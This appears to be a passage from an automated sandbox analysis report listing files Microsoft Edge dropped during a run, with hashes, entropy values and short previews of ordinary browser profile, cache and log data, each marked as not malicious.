SSDEEP:	768:GISg7s7pLGLpU2WPYSf/g8F1+UoAYDCx9Tuqh0VfUC9xbog/OVU285vrwTWX2qKY:GISg7QcpU2WPYSf/gu1ja5F5cTWXzQty
MD5:	A4358D54121CC3BB6528DDEDD22E07D4
SHA1:	D38828E6E5CF04BDE967024AACD70A52332A3878
SHA-256:	DCFDADF99F564176871CFB99EC532E1D0FB4100947BC86AD29811B1AC0EB6BA6
SHA-512:	85A1C10133143B1AF3CD582824D690586BE06213FA14037C08ADB41CBD9A8E0367BA57B20C53EA5D87E8A77454AA68CE556D2993C4D62EC47A166D2665D9EAF8
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376270186197673","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376270186197673","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.840438913539158
Encrypted:	false
SSDEEP:	48:F2emYtrdDogfBKXrd6NgtZMrdDoLB5rd/bLBf:F1mYtxDogyx6NgtZMxDoHxzp
MD5:	3AA88FC5C6B8348A6CF2BC90A3F2D60B
SHA1:	7A67B513BC782FCBC511ECEA96FB81C911D760E7
SHA-256:	8F55D29E8AE0F1F05468773D1BD333BDD12152FABDC8DE14223FA499A39C6FE9
SHA-512:	D4BFE13BF090F84F83D99F5253D42B390ECEE84A2E8998CF12AB5EAC44079D0AC9ECB9622398BB9D4E87AA26B1D30C0DC1A88F0DC070039E35386F184BDBA3E8
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.24?..m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x.................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.176063603733918
Encrypted:	false
SSDEEP:	6:HUJAc81923oH+TcwtE/a252KLlVUJAw5+WM+q2P923oH+TcwtE/a2ZIFUv:P8Yeb8xLHwUL+v4Yeb8J2FUv
MD5:	7EFA4322C3CF0A24F6D3CD6E7723542F
SHA1:	DB2661996477EA7B789C2E0B9CEBB29F695185FC
SHA-256:	0D4EB83E15097840EE82DA6BBC50A881CD1A8D91B3DBEEAE12BCE940E2B10589
SHA-512:	BDC1AA87E5055BE666EA9F9D89EA03D4ED20CA581E6A205CEBE4D982DD36A9025A2F18DD815C2E2F6F07EA0AED3893642217A71997E318E6743BD9C38879099D
Malicious:	false
Preview:	2024/11/16-17:36:38.005 1d1c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/16-17:36:38.027 1d1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114467
Entropy (8bit):	5.578896893675264
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKHQcM6kqN+u:d9LyxPXfOxr1lMe1nL/CL/TXEmilRUu
MD5:	D00D5110FAF50F1FD67BA33A525AB9C8
SHA1:	44E37EF5CE0C8B92C4A1C4FAD5E511D8246CE186
SHA-256:	2A16ABBC46D94BA712ADC7E621D6177A8CD5D08258074CFAAEF788032B458540
SHA-512:	8716903495BE6EDCEC763B3A86E971FC552404303F6BE5A90EEF13593C6F3757236F7741E8688E95A9C92657B9DD196A08A86226427F9A0ECAA22E8BEF63C2C5
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188969
Entropy (8bit):	6.386047620747249
Encrypted:	false
SSDEEP:	3072:2gnAV5pbSxwsnL5rOL/f4M6DShVeQW/CThx3:/xwC5SL/QFUVTs+t
MD5:	2D116956EC5A9114B89430CAEAC71F92
SHA1:	8BC004B1CDF060A2A738BB4DD5796463780F4366
SHA-256:	6FCC23E7C97C0085171C0B20AC780555FA9A42245222E7534F3809977A86A6EF
SHA-512:	DF623A0CFA779EC58522F93FAE120D4285E35E65157E72C1BA3D7C57DA25A30A4FA5870453F19A4DC3B1DE0758606BB8783A187A4E0F3DADEA96A46F36814EE1
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;"....x..........,T.8..`,.....L`.....,T...`......L`......Rc..yS....exports...Rc.6......module....Rc.9d....define....Rb.N......amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m.....b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....8Z...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.537634645982951
Encrypted:	false
SSDEEP:	3:sgbIFXAR0Xl/lR/lxEwltdu+:seIFXAKCQm+
MD5:	826B3907F8C496928A04D65E28852C68
SHA1:	4EE3AE6925B2CC8F567BDB8D2EE71A2EF6E1855B
SHA-256:	8AE8BCB35D0B5848E381AD489A2998DC6A90A38C5A52391999DE796CFA84F741
SHA-512:	EE6A4E78CF31147FF13F1927DEB50B63D21774E50918A56C2FCD3FBD1E3EFE728599E2F0D83ECBB362024C472A443ACB23CCCCB341F3D65991AE22605A853B30
Malicious:	false
Preview:	@.....>.oy retne.........................X....,.................Y..../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.537634645982951
Encrypted:	false
SSDEEP:	3:sgbIFXAR0Xl/lR/lxEwltdu+:seIFXAKCQm+
MD5:	826B3907F8C496928A04D65E28852C68
SHA1:	4EE3AE6925B2CC8F567BDB8D2EE71A2EF6E1855B
SHA-256:	8AE8BCB35D0B5848E381AD489A2998DC6A90A38C5A52391999DE796CFA84F741
SHA-512:	EE6A4E78CF31147FF13F1927DEB50B63D21774E50918A56C2FCD3FBD1E3EFE728599E2F0D83ECBB362024C472A443ACB23CCCCB341F3D65991AE22605A853B30
Malicious:	false
Preview:	@.....>.oy retne.........................X....,.................Y..../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF3ff12.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.537634645982951
Encrypted:	false
SSDEEP:	3:sgbIFXAR0Xl/lR/lxEwltdu+:seIFXAKCQm+
MD5:	826B3907F8C496928A04D65E28852C68
SHA1:	4EE3AE6925B2CC8F567BDB8D2EE71A2EF6E1855B
SHA-256:	8AE8BCB35D0B5848E381AD489A2998DC6A90A38C5A52391999DE796CFA84F741
SHA-512:	EE6A4E78CF31147FF13F1927DEB50B63D21774E50918A56C2FCD3FBD1E3EFE728599E2F0D83ECBB362024C472A443ACB23CCCCB341F3D65991AE22605A853B30
Malicious:	false
Preview:	@.....>.oy retne.........................X....,.................Y..../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5197
Entropy (8bit):	3.4336402828186214
Encrypted:	false
SSDEEP:	96:SUK4H95ALd78wd86nlt1KmAUCwY9Xp+cJD+Viyok1n5SLl9iSrl1VR:S1xP86nP1KTUm9Xp+ctKiyDt5SLl9iS5
MD5:	811A116506CD02F1A4F3CD31FFD03FCC
SHA1:	29B0904887E2FB0BF1B207EEB49191C66C56A8D3
SHA-256:	844E51B242C2799CA1DEA7DE4DC3A30E6613D58FA910BE1F71DD43D449A30AC7
SHA-512:	A7DD15C05A37157BE721CEC39DE218C6EFF38C028D29FFBB7CE4B02EC6EBDB6941B5726D75BA1A1D8DD0555F393B5B562DBD4FB69A0099206D733685F5B8D98B
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...............=..b................next-map-id.1.Cnamespace-7de5adb1_cb8e_4825_b397_7baae2d26568-https://ntp.msn.com/.0;m...................map-0-shd_sweeper.%{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.e.h.p.s.b.t.q.l.t.c.,.p.r.g.-.c.a.l.-.5.c.o.l.u.m.n.,.p.r.g.-.1.s.w.-.m.i.t.o.t.d.u.s.,.1.s.-.a.c.t.n.t.h.i.s.d.a.y.,.p.r.g.-.1.s.w.-.o.t.d.s.g.p.r.,.i.c.r.s.c.a.l.l.-.s.p.o.r.t.s.,.p.r.g.-.1.s.w.-.s.a.q.e.n.t.s.i.r.u.t.2.,.p.r.e.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.c.,.p.r.g.-.1.s.w.-.s.a.-.e.n.c.o.m.b.o.c.,.p.r.g.-.1.s.w.-.s.a.l.3.u.i.c.d.b.c.1.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.1.s.w.-.t.p.s.n.-.d.s.t.p.r.g.1.d.c.y.7.-.t.,.1.s.-.t.p.s.n.-.d.s.t.d.c.y.7.,.1.s.-.t.p.s.n.p.1.-.d.t.d.c.,.p.r.g.-.1.s.w.-.m.e.b.c.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.129513065296515
Encrypted:	false
SSDEEP:	6:HUJMXS34q2P923oH+TcwtrQMxIFUt8YUJMXdVNJZmw+YUJMXqDkwO923oH+Tcwtf:24v4YebCFUt8mNJ/+PD5LYebtJ
MD5:	4E588175261E86348367A4A212715E6B
SHA1:	2F75CEB3F3081F9B014D34B6999F1111F09DAFCF
SHA-256:	5776122A8CDCD5D2976A83B8286B6FAA82B423534B42F1FA047446ABFB6AF802
SHA-512:	A880386DA61AC4EEC04EF358E58D365FA80901CEF4C4EC810A98BA00C10F0C381180DD961E72838297EE37A59D4B148964A556A5823551156438D3CE3C2B79DE
Malicious:	false
Preview:	2024/11/16-17:36:26.921 1cf0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/16-17:36:26.922 1cf0 Recovering log #3.2024/11/16-17:36:26.927 1cf0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.129513065296515
Encrypted:	false
SSDEEP:	6:HUJMXS34q2P923oH+TcwtrQMxIFUt8YUJMXdVNJZmw+YUJMXqDkwO923oH+Tcwtf:24v4YebCFUt8mNJ/+PD5LYebtJ
MD5:	4E588175261E86348367A4A212715E6B
SHA1:	2F75CEB3F3081F9B014D34B6999F1111F09DAFCF
SHA-256:	5776122A8CDCD5D2976A83B8286B6FAA82B423534B42F1FA047446ABFB6AF802
SHA-512:	A880386DA61AC4EEC04EF358E58D365FA80901CEF4C4EC810A98BA00C10F0C381180DD961E72838297EE37A59D4B148964A556A5823551156438D3CE3C2B79DE
Malicious:	false
Preview:	2024/11/16-17:36:26.921 1cf0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/16-17:36:26.922 1cf0 Recovering log #3.2024/11/16-17:36:26.927 1cf0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376270188790471

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.8159851570645906
Encrypted:	false
SSDEEP:	24:3QeOT8/vPGDyev5apsAF4unxm5n1tLp3X2amEtG1ChqvB5QKkOAM4/:31BvPEr5azFEfLp2FEkChFHOp
MD5:	17CAB6B40CA63C074772BAAB0E7B71EE
SHA1:	835C09ECC9DA8BFE11931C13CCD3A4B01785A4BF
SHA-256:	3122AD05ADFBA8E7FB0BA57CB386F58120D042D07240B2D640B119B6441403B4
SHA-512:	D42DAB3322C982C0C980359EA8C1AA115CDABEACB70390F4607DC0083AE3B68AB4B42CBCADECF9C54C5540B70825290D137967E67F0A6F8358509E2B7C86C26B
Malicious:	false
Preview:	SNSS........&T.............&T.......".&T.............&T.........&T.........&T.........&T.....!...&T.................................&T..&T.1..,....&T.$...7de5adb1_cb8e_4825_b397_7baae2d26568....&T.........&T.....P..........&T.....&T.........................&T.....................5..0....&T.&...{98952893-68FF-4A5D-A164-705C709ED3DB}......&T.........&T............................&T.............&T.........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x........P.'.....P.'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.137036673561493
Encrypted:	false
SSDEEP:	6:HUJGXAcM+q2P923oH+Tcwt7Uh2ghZIFUt8YUJGXAJZmw+YUJGXAcMVkwO923oH+Q:nXNM+v4YebIhHh2FUt86XC/+6XNMV5L0
MD5:	7532C40F4A08D013B27123B687C48A9F
SHA1:	534E75C82A8406EBE35B6A147F056176E40B13B2
SHA-256:	3B337BB6C2DAA6816F2C0E01454512B45897B00C4915987EDA7B333E530B0143
SHA-512:	91A16981A6DB542B77CFF68D096BC04316E5CA02D28C2FF803B7940BF2DBF9864FAAA4A25E37567A169CEFB944546388C374C02434BF066DF1A2D59EBC84A9FE
Malicious:	false
Preview:	2024/11/16-17:36:26.328 1c6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/16-17:36:26.328 1c6c Recovering log #3.2024/11/16-17:36:26.328 1c6c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.137036673561493
Encrypted:	false
SSDEEP:	6:HUJGXAcM+q2P923oH+Tcwt7Uh2ghZIFUt8YUJGXAJZmw+YUJGXAcMVkwO923oH+Q:nXNM+v4YebIhHh2FUt86XC/+6XNMV5L0
MD5:	7532C40F4A08D013B27123B687C48A9F
SHA1:	534E75C82A8406EBE35B6A147F056176E40B13B2
SHA-256:	3B337BB6C2DAA6816F2C0E01454512B45897B00C4915987EDA7B333E530B0143
SHA-512:	91A16981A6DB542B77CFF68D096BC04316E5CA02D28C2FF803B7940BF2DBF9864FAAA4A25E37567A169CEFB944546388C374C02434BF066DF1A2D59EBC84A9FE
Malicious:	false
Preview:	2024/11/16-17:36:26.328 1c6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/16-17:36:26.328 1c6c Recovering log #3.2024/11/16-17:36:26.328 1c6c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.255253626451911
Encrypted:	false
SSDEEP:	6:HUJMXrq2P923oH+TcwtzjqEKj3K/2jMGIFUt8YUJMsZmw+YUJ4BzkwO923oH+Tcd:1v4YebvqBQFUt8d/+UBz5LYebvqBvJ
MD5:	B2C669F74CB4E2B41165451FC14D2207
SHA1:	962E06C58967DD72D229DE37A0384B460F338B32
SHA-256:	0A102FEB1AC3BCCFFD3A1D717AD02D843A0708C0D9F0283967AB26C6ECE89018
SHA-512:	A350BA066340E21551500C9D56DF3480AD1B04F9737D9B71440C295D506E7ACE49AAF16D5D1978AE3A91262BC56CBB7EA4801F4D6BA611D1796472E62F0770E3
Malicious:	false
Preview:	2024/11/16-17:36:26.928 1c70 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/16-17:36:26.953 1c70 Recovering log #3.2024/11/16-17:36:27.137 1c70 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.255253626451911
Encrypted:	false
SSDEEP:	6:HUJMXrq2P923oH+TcwtzjqEKj3K/2jMGIFUt8YUJMsZmw+YUJ4BzkwO923oH+Tcd:1v4YebvqBQFUt8d/+UBz5LYebvqBvJ
MD5:	B2C669F74CB4E2B41165451FC14D2207
SHA1:	962E06C58967DD72D229DE37A0384B460F338B32
SHA-256:	0A102FEB1AC3BCCFFD3A1D717AD02D843A0708C0D9F0283967AB26C6ECE89018
SHA-512:	A350BA066340E21551500C9D56DF3480AD1B04F9737D9B71440C295D506E7ACE49AAF16D5D1978AE3A91262BC56CBB7EA4801F4D6BA611D1796472E62F0770E3
Malicious:	false
